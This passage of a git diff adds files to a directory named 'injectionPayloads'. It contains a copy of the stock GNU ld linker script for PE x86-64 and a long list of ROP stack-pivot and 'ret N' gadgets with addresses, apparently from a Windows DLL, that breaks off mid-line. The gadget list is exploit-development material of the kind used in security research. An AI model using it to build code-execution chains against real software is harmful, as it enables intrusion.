.gnu.linkonce.wi.*) + } + .zdebug_info BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_info .zdebug.gnu.linkonce.wi.*) + } + .debug_abbrev BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_abbrev) + } + .zdebug_abbrev BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_abbrev) + } + .debug_line BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_line) + } + .zdebug_line BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_line) + } + .debug_frame BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_frame) + } + .zdebug_frame BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_frame) + } + .debug_str BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_str) + } + .zdebug_str BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_str) + } + .debug_loc BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_loc) + } + .zdebug_loc BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_loc) + } + .debug_macinfo BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_macinfo) + } + .zdebug_macinfo BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_macinfo) + } + /* SGI/MIPS DWARF 2 extensions. */ + .debug_weaknames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_weaknames) + } + .zdebug_weaknames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_weaknames) + } + .debug_funcnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_funcnames) + } + .zdebug_funcnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_funcnames) + } + .debug_typenames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_typenames) + } + .zdebug_typenames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_typenames) + } + .debug_varnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_varnames) + } + .zdebug_varnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_varnames) + } + .debug_macro BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_macro) + } + .zdebug_macro BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_macro) + } + /* DWARF 3. */ + .debug_ranges BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_ranges) + } + .zdebug_ranges BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_ranges) + } + /* DWARF 4. */ + .debug_types BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_types .gnu.linkonce.wt.*) + } + .zdebug_types BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_types .zdebug.gnu.linkonce.wt.*) + } +} diff --git a/injectionPayloads/ldscript.default b/injectionPayloads/ldscript.default new file mode 100644 index 0000000..aa0f21c --- /dev/null +++ b/injectionPayloads/ldscript.default @@ -0,0 +1,318 @@ +/* Default linker script, for normal executables */ +/* Copyright (C) 2014-2017 Free Software Foundation, Inc. + Copying and distribution of this script, with or without modification, + are permitted in any medium without royalty provided the copyright + notice and this notice are preserved. */ +OUTPUT_FORMAT(pei-x86-64) +SEARCH_DIR("/usr/x86_64-pc-msys/lib"); SEARCH_DIR("/usr/lib"); SEARCH_DIR("/usr/lib/w32api"); +SECTIONS +{ + /* Make the virtual address and file offset synced if the alignment is + lower than the target page size. */ + . = SIZEOF_HEADERS; + . = ALIGN(__section_alignment__); + .text __image_base__ + ( __section_alignment__ < 0x1000 ? . : __section_alignment__ ) : + { + KEEP(*(.init)) + *(.text) + *(SORT(.text$*)) + *(.text.*) + *(.gnu.linkonce.t.*) + *(.glue_7t) + *(.glue_7) + . = ALIGN(8); + ___CTOR_LIST__ = .; __CTOR_LIST__ = . ; + LONG (-1); LONG (-1); + KEEP (*(.ctors)); + KEEP (*(.ctor)); + KEEP (*(SORT(.ctors.*))); + LONG (0); LONG (0); + ___DTOR_LIST__ = .; __DTOR_LIST__ = . ; + LONG (-1); LONG (-1); + KEEP (*(.dtors)); + KEEP (*(.dtor)); + KEEP (*(SORT(.dtors.*))); + LONG (0); LONG (0); + KEEP (*(.fini)) + /* ??? Why is .gcc_exc here? */ + *(.gcc_exc) + PROVIDE (etext = .); + KEEP (*(.gcc_except_table)) + } + /* The Cygwin32 library uses a section to avoid copying certain data + on fork. This used to be named ".data". The linker used + to include this between __data_start__ and __data_end__, but that + breaks building the cygwin32 dll. Instead, we name the section + ".data_cygwin_nocopy" and explicitly include it after __data_end__. */ + .data BLOCK(__section_alignment__) : + { + __data_start__ = . ; + *(.data) + *(.data2) + *(SORT(.data$*)) + KEEP(*(.jcr)) + __data_end__ = . ; + *(.data_cygwin_nocopy) + } + .rdata BLOCK(__section_alignment__) : + { + *(.rdata) + *(SORT(.rdata$*)) + __rt_psrelocs_start = .; + KEEP(*(.rdata_runtime_pseudo_reloc)) + __rt_psrelocs_end = .; + } + __rt_psrelocs_size = __rt_psrelocs_end - __rt_psrelocs_start; + ___RUNTIME_PSEUDO_RELOC_LIST_END__ = .; + __RUNTIME_PSEUDO_RELOC_LIST_END__ = .; + ___RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size; + __RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size; + .eh_frame BLOCK(__section_alignment__) : + { + KEEP (*(.eh_frame*)) + } + .pdata BLOCK(__section_alignment__) : + { + KEEP(*(.pdata*)) + } + .xdata BLOCK(__section_alignment__) : + { + KEEP(*(.xdata*)) + } + .bss BLOCK(__section_alignment__) : + { + __bss_start__ = . ; + *(.bss) + *(COMMON) + __bss_end__ = . ; + } + .edata BLOCK(__section_alignment__) : + { + *(.edata) + } + /DISCARD/ : + { + *(.debug$S) + *(.debug$T) + *(.debug$F) + *(.drectve) + *(.note.GNU-stack) + *(.gnu.lto_*) + } + .idata BLOCK(__section_alignment__) : + { + /* This cannot currently be handled with grouped sections. + See pep.em:sort_sections. */ + KEEP (SORT(*)(.idata$2)) + KEEP (SORT(*)(.idata$3)) + /* These zeroes mark the end of the import list. */ + LONG (0); LONG (0); LONG (0); LONG (0); LONG (0); + KEEP (SORT(*)(.idata$4)) + __IAT_start__ = .; + SORT(*)(.idata$5) + __IAT_end__ = .; + KEEP (SORT(*)(.idata$6)) + KEEP (SORT(*)(.idata$7)) + } + .CRT BLOCK(__section_alignment__) : + { + ___crt_xc_start__ = . ; + KEEP (*(SORT(.CRT$XC*))) /* C initialization */ + ___crt_xc_end__ = . ; + ___crt_xi_start__ = . ; + KEEP (*(SORT(.CRT$XI*))) /* C++ initialization */ + ___crt_xi_end__ = . ; + ___crt_xl_start__ = . ; + KEEP (*(SORT(.CRT$XL*))) /* TLS callbacks */ + /* ___crt_xl_end__ is defined in the TLS Directory support code */ + ___crt_xp_start__ = . ; + KEEP (*(SORT(.CRT$XP*))) /* Pre-termination */ + ___crt_xp_end__ = . ; + ___crt_xt_start__ = . ; + KEEP (*(SORT(.CRT$XT*))) /* Termination */ + ___crt_xt_end__ = . ; + } + /* Windows TLS expects .tls$AAA to be at the start and .tls$ZZZ to be + at the end of the .tls section. This is important because _tls_start MUST + be at the beginning of the section to enable SECREL32 relocations with TLS + data. */ + .tls BLOCK(__section_alignment__) : + { + ___tls_start__ = . ; + KEEP (*(.tls$AAA)) + KEEP (*(.tls)) + KEEP (*(.tls$)) + KEEP (*(SORT(.tls$*))) + KEEP (*(.tls$ZZZ)) + ___tls_end__ = . ; + } + .endjunk BLOCK(__section_alignment__) : + { + /* end is deprecated, don't use it */ + PROVIDE (end = .); + PROVIDE ( _end = .); + __end__ = .; + } + .rsrc BLOCK(__section_alignment__) : SUBALIGN(4) + { + KEEP (*(.rsrc)) + KEEP (*(.rsrc$*)) + } + .reloc BLOCK(__section_alignment__) : + { + *(.reloc) + } + .stab BLOCK(__section_alignment__) (NOLOAD) : + { + *(.stab) + } + .stabstr BLOCK(__section_alignment__) (NOLOAD) : + { + *(.stabstr) + } + /* DWARF debug sections. + Symbols in the DWARF debugging sections are relative to the beginning + of the section. Unlike other targets that fake this by putting the + section VMA at 0, the PE format will not allow it. */ + /* DWARF 1.1 and DWARF 2. */ + .debug_aranges BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_aranges) + } + .zdebug_aranges BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_aranges) + } + .debug_pubnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_pubnames) + } + .zdebug_pubnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_pubnames) + } + .debug_pubtypes BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_pubtypes) + } + .zdebug_pubtypes BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_pubtypes) + } + /* DWARF 2. */ + .debug_info BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_info .gnu.linkonce.wi.*) + } + .zdebug_info BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_info .zdebug.gnu.linkonce.wi.*) + } + .debug_abbrev BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_abbrev) + } + .zdebug_abbrev BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_abbrev) + } + .debug_line BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_line) + } + .zdebug_line BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_line) + } + .debug_frame BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_frame) + } + .zdebug_frame BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_frame) + } + .debug_str BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_str) + } + .zdebug_str BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_str) + } + .debug_loc BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_loc) + } + .zdebug_loc BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_loc) + } + .debug_macinfo BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_macinfo) + } + .zdebug_macinfo BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_macinfo) + } + /* SGI/MIPS DWARF 2 extensions. */ + .debug_weaknames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_weaknames) + } + .zdebug_weaknames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_weaknames) + } + .debug_funcnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_funcnames) + } + .zdebug_funcnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_funcnames) + } + .debug_typenames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_typenames) + } + .zdebug_typenames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_typenames) + } + .debug_varnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_varnames) + } + .zdebug_varnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_varnames) + } + .debug_macro BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_macro) + } + .zdebug_macro BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_macro) + } + /* DWARF 3. */ + .debug_ranges BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_ranges) + } + .zdebug_ranges BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_ranges) + } + /* DWARF 4. */ + .debug_types BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_types .gnu.linkonce.wt.*) + } + .zdebug_types BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_types .zdebug.gnu.linkonce.wt.*) + } +} diff --git a/injectionPayloads/pivots.txt b/injectionPayloads/pivots.txt new file mode 100644 index 0000000..285a9b4 --- /dev/null +++ b/injectionPayloads/pivots.txt @@ -0,0 +1,820 @@ + + + +Gadgets +======= + + +0x0000000180075239: mov esp, ebx; pop r12; pop rdi; pop rbp; ret; +0x00000001800b8223: mov esp, ebx; pop r12; pop rdi; pop rsi; ret; +0x000000018007ba2a: mov esp, ebx; pop r13; pop r12; pop rbp; ret; +0x0000000180077379: mov esp, ebx; pop r14; pop r12; pop rbp; ret; +0x00000001800cfc97: mov esp, ebx; pop r14; pop r12; pop rdi; ret; +0x000000018000137a: mov esp, ebx; pop r14; pop rdi; pop rbp; ret; +0x0000000180002542: mov esp, ebx; pop r14; pop rdi; pop rsi; ret; +0x00000001800b5502: mov esp, ebx; pop r14; ret; +0x000000018000f011: mov esp, ebx; pop r15; pop r12; pop rbp; ret; +0x0000000180086dc6: mov esp, ebx; pop r15; pop r13; pop r12; ret; +0x00000001800114cf: mov esp, ebx; pop r15; pop r14; pop r12; ret; +0x000000018001ff85: mov esp, ebx; pop r15; pop r14; pop r13; ret; +0x00000001800093d0: mov esp, ebx; pop r15; pop r14; pop rbp; ret; +0x0000000180007f86: mov esp, ebx; pop r15; pop r14; pop rdi; ret; +0x00000001800e413e: mov esp, ebx; pop r15; pop rdi; pop rbp; ret; +0x000000018001bb56: mov esp, ebx; pop r15; ret; +0x000000018001319e: mov esp, ebx; pop rbp; ret; +0x00000001800052ed: mov esp, ebx; pop rdi; ret; +0x0000000180075238: mov rsp, r11; pop r12; pop rdi; pop rbp; ret; +0x00000001800b8222: mov rsp, r11; pop r12; pop rdi; pop rsi; ret; +0x000000018007ba29: mov rsp, r11; pop r13; pop r12; pop rbp; ret; +0x0000000180077378: mov rsp, r11; pop r14; pop r12; pop rbp; ret; +0x00000001800cfc96: mov rsp, r11; pop r14; pop r12; pop rdi; ret; +0x0000000180001379: mov rsp, r11; pop r14; pop rdi; pop rbp; ret; +0x0000000180002541: mov rsp, r11; pop r14; pop rdi; pop rsi; ret; +0x00000001800b5501: mov rsp, r11; pop r14; ret; +0x000000018000f010: mov rsp, r11; pop r15; pop r12; pop rbp; ret; +0x0000000180086dc5: mov rsp, r11; pop r15; pop r13; pop r12; ret; +0x00000001800114ce: mov rsp, r11; pop r15; pop r14; pop r12; ret; +0x000000018001ff84: mov rsp, r11; pop r15; pop r14; pop r13; ret; +0x00000001800093cf: mov rsp, r11; pop r15; pop r14; pop rbp; ret; +0x0000000180007f85: mov rsp, r11; pop r15; pop r14; pop rdi; ret; +0x00000001800e413d: mov rsp, r11; pop r15; pop rdi; pop rbp; ret; +0x000000018001bb55: mov rsp, r11; pop r15; ret; +0x000000018001319d: mov rsp, r11; pop rbp; ret; +0x00000001800052ec: mov rsp, r11; pop rdi; ret; +0x0000000180015401: ret 0; +0x00000001800ade16: ret 0x1000; +0x00000001800615fd: ret 0x100f; +0x00000001800980ea: ret 0x102c; +0x000000018002a0f2: ret 0x1074; +0x000000018004e6d7: ret 0x10a8; +0x00000001800020ec: ret 0x110f; +0x0000000180087c8a: ret 0x1131; +0x0000000180086a5a: ret 0x1147; +0x000000018007efb7: ret 0x11; +0x0000000180085cca: ret 0x11c6; +0x0000000180078542: ret 0x123a; +0x00000001800231c0: ret 0x125; +0x00000001800e42b4: ret 0x1274; +0x00000001800f737e: ret 0x1275; +0x000000018007383a: ret 0x1278; +0x000000018006f164: ret 0x128; +0x000000018006ef0e: ret 0x12; +0x00000001800703ba: ret 0x12a8; +0x000000018006e9ba: ret 0x12c9; +0x0000000180069512: ret 0x1316; +0x000000018006e782: ret 0x1338; +0x00000001800e46cf: ret 0x1374; +0x00000001800e832f: ret 0x1389; +0x0000000180003acd: ret 0x138a; +0x000000018005e876: ret 0x13; +0x000000018008f23a: ret 0x13a3; +0x0000000180099937: ret 0x13e9; +0x0000000180051852: ret 0x1492; +0x00000001800e2b2c: ret 0x14; +0x0000000180056efa: ret 0x14ab; +0x00000001800d729a: ret 0x1569; +0x00000001800e4bd7: ret 0x1572; +0x000000018006dc7f: ret 0x158b; +0x000000018003fd42: ret 0x15; +0x000000018003aa52: ret 0x1615; +0x000000018003a152: ret 0x161e; +0x0000000180001436: ret 0x163; +0x0000000180084e31: ret 0x166; +0x0000000180080bce: ret 0x1677; +0x00000001800c3906: ret 0x167f; +0x000000018002fe3f: ret 0x16; +0x00000001800e98ea: ret 0x1717; +0x0000000180081599: ret 0x1772; +0x00000001800e3cea: ret 0x1773; +0x0000000180024542: ret 0x177a; +0x0000000180021732: ret 0x179a; +0x000000018001e992: ret 0x17; +0x00000001800e6824: ret 0x1872; +0x00000001800f7d77: ret 0x1874; +0x000000018000f1e0: ret 0x18; +0x000000018005581d: ret 0x18b; +0x000000018002a882: ret 0x18e9; +0x00000001800c65aa: ret 0x196e; +0x00000001800724b2: ret 0x1975; +0x00000001800d1f1f: ret 0x19; +0x000000018002d832: ret 0x19ba; +0x00000001800084e1: ret 0x19e8; +0x0000000180080bc5: ret 0x1a77; +0x00000001800b5f0e: ret 0x1a7d; +0x0000000180089a82: ret 0x1a82; +0x0000000180029ff4: ret 0x1ae8; +0x000000018000880e: ret 0x1b8; +0x00000001800bf1b4: ret 0x1b9; +0x0000000180088e22: ret 0x1baa; +0x000000018000ecaf: ret 0x1be8; +0x000000018009a61a: ret 0x1c37; +0x000000018003e7f1: ret 0x1c72; +0x00000001800daf65: ret 0x1c77; +0x000000018006ec06: ret 0x1c8d; +0x00000001800a1e77: ret 0x1c; +0x000000018007fe0c: ret 0x1d; +0x00000001800c5e5e: ret 0x1deb; +0x000000018000798c: ret 0x1e39; +0x000000018008972a: ret 0x1e4e; +0x000000018006da0d: ret 0x1e89; +0x000000018006d2ea: ret 0x1edd; +0x00000001800271f3: ret 0x1f0f; +0x00000001800c80d0: ret 0x1f75; +0x00000001800c313a: ret 0x1f7d; +0x000000018005fd74: ret 0x1f; +0x00000001800589ea: ret 0x2026; +0x00000001800e6795: ret 0x2072; +0x0000000180034d19: ret 0x2075; +0x00000001800d7eb6: ret 0x20e8; +0x000000018004c1da: ret 0x20fc; +0x0000000180012801: ret 0x216; +0x000000018003edbf: ret 0x21; +0x000000018003dd9a: ret 0x21f7; +0x00000001800bb843: ret 0x2272; +0x00000001800ec1e8: ret 0x230; +0x00000001800f2d73: ret 0x2341; +0x00000001800cc68b: ret 0x2344; +0x000000018004e7ae: ret 0x2348; +0x0000000180086a98: ret 0x238; +0x00000001800188ea: ret 0x2427; +0x000000018000534a: ret 0x251; +0x0000000180076858: ret 0x2573; +0x000000018001e282: ret 0x25; +0x0000000180072d6d: ret 0x2674; +0x00000001800daf5a: ret 0x2777; +0x000000018001ca91: ret 0x2872; +0x00000001800c62fc: ret 0x2a72; +0x000000018005aa92: ret 0x2a74; +0x0000000180068daf: ret 0x2a75; +0x00000001800d386e: ret 0x2aba; +0x000000018002e963: ret 0x2b41; +0x00000001800a3507: ret 0x2b44; +0x0000000180002f40: ret 0x2b48; +0x00000001800145f4: ret 0x2b49; +0x000000018000f9d4: ret 0x2b4c; +0x0000000180021501: ret 0x2b66; +0x0000000180028c27: ret 0x2b75; +0x00000001800acbea: ret 0x2be9; +0x0000000180047a2b: ret 0x2d8; +0x0000000180081aa0: ret 0x2fd; +0x00000001800e0981: ret 0x3024; +0x0000000180057c9a: ret 0x302; +0x00000001800e1fba: ret 0x303; +0x000000018009ca5e: ret 0x308; +0x000000018000dcbd: ret 0x30a; +0x000000018008120e: ret 0x30ba; +0x0000000180013dc4: ret 0x31b0; +0x00000001800a0f11: ret 0x31e; +0x00000001800a54fc: ret 0x31eb; +0x00000001800153b7: ret 0x3240; +0x00000001800cb681: ret 0x3302; +0x00000001800e7158: ret 0x3341; +0x000000018003bba8: ret 0x3344; +0x0000000180077584: ret 0x3345; +0x00000001800e5526: ret 0x3372; +0x0000000180002af2: ret 0x33c3; +0x0000000180074ca7: ret 0x341; +0x0000000180070550: ret 0x345; +0x00000001800b4e30: ret 0x3476; +0x0000000180009bd1: ret 0x348; +0x00000001800e5660: ret 0x349; +0x000000018000f9f5: ret 0x34c; +0x00000001800684b9: ret 0x34d; +0x00000001800865d3: ret 0x358; +0x000000018000d19a: ret 0x3675; +0x0000000180077486: ret 0x369; +0x000000018002b91a: ret 0x374; +0x00000001800e6672: ret 0x3772; +0x0000000180011237: ret 0x377; +0x0000000180060772: ret 0x37d; +0x00000001800ddc21: ret 0x3841; +0x00000001800edfdb: ret 0x3844; +0x000000018003508e: ret 0x3944; +0x000000018004ba30: ret 0x394c; +0x0000000180002a9f: ret 0x3966; +0x00000001800c4716: ret 0x397; +0x00000001800e58b6: ret 0x3a72; +0x0000000180038b3c: ret 0x3a8; +0x00000001800f987c: ret 0x3b10; +0x000000018002c51b: ret 0x3b41; +0x0000000180012f30: ret 0x3b44; +0x000000018001c26b: ret 0x3b48; +0x00000001800e73e9: ret 0x3b4a; +0x00000001800d1e75: ret 0x3b4c; +0x0000000180057e6c: ret 0x3b4d; +0x0000000180035321: ret 0x3b66; +0x00000001800c5916: ret 0x3b8; +0x00000001800724df: ret 0x3c75; +0x00000001800c4652: ret 0x3f0; +0x000000018000ed1d: ret 0x3f74; +0x00000001800a6150: ret 0x408; +0x00000001800698bb: ret 0x40e; +0x000000018007896e: ret 0x4101; +0x000000018002be4f: ret 0x4102; +0x0000000180009d66: ret 0x4103; +0x00000001800f99b2: ret 0x4110; +0x0000000180075ead: ret 0x4141; +0x000000018000b90d: ret 0x4166; +0x0000000180029762: ret 0x4189; +0x000000018006a4c1: ret 0x41b9; +0x0000000180016a37: ret 0x41c3; +0x000000018006ebfc: ret 0x4266; +0x000000018008675f: ret 0x428d; +0x000000018009225a: ret 0x42e; +0x000000018007e75d: ret 0x430f; +0x000000018002fca8: ret 0x4366; +0x0000000180068af7: ret 0x4401; +0x00000001800cad66: ret 0x4402; +0x00000001800cc6a8: ret 0x440f; +0x0000000180050092: ret 0x4430; +0x000000018002860e: ret 0x4466; +0x0000000180055858: ret 0x4489; +0x0000000180002bf1: ret 0x44c3; +0x00000001800ee4c0: ret 0x44c6; +0x0000000180043f0c: ret 0x44c7; +0x0000000180016e40: ret 0x4502; +0x0000000180087f56: ret 0x4508; +0x0000000180090971: ret 0x450f; +0x00000001800ff4b7: ret 0x4518; +0x0000000180038898: ret 0x4566; +0x000000018002c809: ret 0x4575; +0x00000001800cac67: ret 0x4589; +0x00000001800c5e23: ret 0x45e9; +0x00000001800c5b7d: ret 0x45eb; +0x000000018008e336: ret 0x45f; +0x000000018001aa7f: ret 0x460f; +0x00000001800c8f3e: ret 0x4666; +0x00000001800daf3b: ret 0x4677; +0x000000018005a3f2: ret 0x4766; +0x000000018003cb82: ret 0x4772; +0x00000001800b7371: ret 0x4801; +0x00000001800085ef: ret 0x4802; +0x00000001800728ab: ret 0x4804; +0x00000001800c8fe3: ret 0x4805; +0x0000000180042a12: ret 0x4808; +0x000000018006cdf7: ret 0x480c; +0x0000000180058b71: ret 0x4810; +0x00000001800439b5: ret 0x4816; +0x0000000180060fbf: ret 0x4818; +0x00000001800f46ed: ret 0x4820; +0x000000018000acb2: ret 0x4830; +0x0000000180002010: ret 0x483c; +0x0000000180048634: ret 0x4850; +0x0000000180069b84: ret 0x4865; +0x00000001800b0bee: ret 0x48a; +0x000000018006a20f: ret 0x48c3; +0x000000018007f976: ret 0x48cb; +0x0000000180028c2f: ret 0x4902; +0x00000001800c906b: ret 0x4905; +0x000000018001e0e5: ret 0x4910; +0x00000001800327d1: ret 0x4974; +0x000000018002ab39: ret 0x4977; +0x00000001800f65e4: ret 0x498d; +0x000000018001d82e: ret 0x4990; +0x000000018005e70c: ret 0x4a9; +0x000000018007b078: ret 0x4ba; +0x000000018001f1b4: ret 0x4c01; +0x0000000180057bd7: ret 0x4c02; +0x000000018003024d: ret 0x4c89; +0x000000018001ec31: ret 0x4d01; +0x0000000180074c79: ret 0x4d02; +0x00000001800c4368: ret 0x4d5; +0x00000001800e7938: ret 0x4d72; +0x00000001800e5798: ret 0x4e72; +0x000000018004cd56: ret 0x4e75; +0x0000000180091cf2: ret 0x4e77; +0x00000001800cb67c: ret 0x4eb; +0x0000000180056df7: ret 0x502; +0x0000000180056ba8: ret 0x504; +0x0000000180072cdf: ret 0x5073; +0x0000000180051b8e: ret 0x516; +0x0000000180003804: ret 0x528d; +0x0000000180079284: ret 0x538b; +0x00000001800dd1a7: ret 0x5403; +0x0000000180086101: ret 0x5489; +0x00000001800098e5: ret 0x54bf; +0x00000001800840ba: ret 0x553b; +0x00000001800e67e7: ret 0x5572; +0x00000001800e687a: ret 0x558b; +0x00000001800588e1: ret 0x558d; +0x0000000180001ea6: ret 0x563; +0x0000000180032b51: ret 0x5673; +0x00000001800426c6: ret 0x568b; +0x000000018001dee2: ret 0x573b; +0x00000001800f71e7: ret 0x574; +0x000000018004ac5c: ret 0x575; +0x00000001800dfd9f: ret 0x576; +0x000000018007b6bb: ret 0x588; +0x00000001800a877d: ret 0x5a77; +0x00000001800b4283: ret 0x5be; +0x00000001800456d6: ret 0x5c2; +0x00000001800c7063: ret 0x5c72; +0x000000018001ca5b: ret 0x5e72; +0x000000018009b46a: ret 0x5e9; +0x00000001800401c0: ret 0x5f3; +0x00000001800e6750: ret 0x5f72; +0x000000018002cce9: ret 0x6173; +0x000000018006a4b0: ret 0x61b9; +0x000000018003c2f5: ret 0x61d; +0x000000018005a3ff: ret 0x6276; +0x000000018003b658: ret 0x627; +0x00000001800be83f: ret 0x6348; +0x0000000180007e7c: ret 0x6349; +0x0000000180076587: ret 0x634c; +0x000000018009f260: ret 0x6483; +0x00000001800c5a1a: ret 0x64eb; +0x0000000180032aa8: ret 0x6602; +0x000000018005ee67: ret 0x6677; +0x0000000180029a2d: ret 0x66c3; +0x000000018004be2b: ret 0x689; +0x0000000180060f3b: ret 0x6948; +0x00000001800cb6db: ret 0x69eb; +0x0000000180004df6: ret 0x6a8d; +0x0000000180030037: ret 0x6ad; +0x0000000180035c93: ret 0x6b48; +0x000000018002df36: ret 0x6b7; +0x000000018002862e: ret 0x6c8b; +0x00000001800753f6: ret 0x6d8; +0x000000018002b0d5: ret 0x6dc; +0x000000018002a6f0: ret 0x6e3; +0x000000018001c581: ret 0x6e8; +0x000000018007e58e: ret 0x6ee9; +0x000000018002998f: ret 0x6ee; +0x000000018003a71a: ret 0x700; +0x00000001800a093e: ret 0x724; +0x00000001800da390: ret 0x7273; +0x000000018009218d: ret 0x73d; +0x00000001800b537a: ret 0x7401; +0x00000001800f79d0: ret 0x7404; +0x00000001800f79db: ret 0x7408; +0x000000018009c005: ret 0x7410; +0x000000018002274c: ret 0x742; +0x00000001800f79c5: ret 0x7440; +0x00000001800f422b: ret 0x74f0; +0x00000001800179a8: ret 0x7501; +0x000000018009bfd1: ret 0x7502; +0x0000000180076e1c: ret 0x7508; +0x0000000180023f3a: ret 0x7510; +0x00000001800f17b1: ret 0x7589; +0x0000000180001ad3: ret 0x75ff; +0x00000001800c300a: ret 0x76e9; +0x0000000180099924: ret 0x774; +0x000000018002b1f0: ret 0x7774; +0x000000018001c2da: ret 0x785; +0x00000001800fa2a3: ret 0x7ae8; +0x00000001800a8bd2: ret 0x7ae9; +0x00000001800cb48e: ret 0x7aeb; +0x00000001800173ac: ret 0x7b9; +0x0000000180016f54: ret 0x7bd; +0x000000018001e54a: ret 0x7c8b; +0x0000000180014ca7: ret 0x7ce; +0x000000018000c912: ret 0x7db; +0x0000000180012f1d: ret 0x7e5; +0x00000001800210d5: ret 0x7e74; +0x000000018009c9e2: ret 0x7eb; +0x000000018009b7b5: ret 0x7ee9; +0x00000001800122a7: ret 0x7f0; +0x00000001800c30da: ret 0x7f7d; +0x00000001800b837e: ret 0x7fc0; +0x0000000180005c1b: ret 0x8041; +0x00000001800f959d: ret 0x80e8; +0x0000000180067973: ret 0x80eb; +0x000000018000ee6b: ret 0x80f; +0x000000018000eaee: ret 0x811; +0x000000018003bf91: ret 0x8141; +0x00000001800776f7: ret 0x8148; +0x0000000180074134: ret 0x81eb; +0x0000000180016b63: ret 0x81f2; +0x000000018002344e: ret 0x820f; +0x00000001800367d3: ret 0x8302; +0x000000018003b42a: ret 0x8303; +0x000000018006f618: ret 0x830f; +0x000000018004b59d: ret 0x8314; +0x000000018005e6de: ret 0x8318; +0x0000000180005c97: ret 0x8341; +0x0000000180001ef1: ret 0x8348; +0x000000018000fef4: ret 0x8349; +0x00000001800274b2: ret 0x8366; +0x000000018000ab85: ret 0x83b; +0x0000000180006d69: ret 0x840f; +0x000000018004f97a: ret 0x841c; +0x000000018007c556: ret 0x84e8; +0x0000000180071702: ret 0x8502; +0x00000001800140dc: ret 0x850f; +0x0000000180007d92: ret 0x8510; +0x000000018001d81d: ret 0x8545; +0x0000000180016703: ret 0x8548; +0x000000018000f9a9: ret 0x854d; +0x000000018002c86f: ret 0x8566; +0x000000018003e7fe: ret 0x860f; +0x0000000180016b2d: ret 0x870f; +0x00000001800604ee: ret 0x875; +0x00000001800dd52e: ret 0x8841; +0x00000001800ae4c8: ret 0x8842; +0x00000001800de5b0: ret 0x88a; +0x00000001800678f4: ret 0x8902; +0x00000001800560ed: ret 0x8908; +0x0000000180054a4a: ret 0x8944; +0x00000001800045dd: ret 0x8948; +0x0000000180015e2f: ret 0x8949; +0x00000001800e619b: ret 0x894a; +0x0000000180025e3d: ret 0x894c; +0x000000018002355b: ret 0x8966; +0x000000018001c25e: ret 0x89fe; +0x00000001800c5d3d: ret 0x8a44; +0x00000001800ddd0a: ret 0x8a45; +0x0000000180052f2c: ret 0x8b08; +0x000000018000a3cd: ret 0x8b41; +0x000000018000b9d9: ret 0x8b44; +0x0000000180017dd3: ret 0x8b45; +0x0000000180007d81: ret 0x8b48; +0x000000018000a2f1: ret 0x8b49; +0x000000018000455f: ret 0x8b4c; +0x0000000180026c80: ret 0x8b4d; +0x0000000180035f14: ret 0x8b4f; +0x000000018009df98: ret 0x8c0f; +0x000000018001461f: ret 0x8d02; +0x0000000180079578: ret 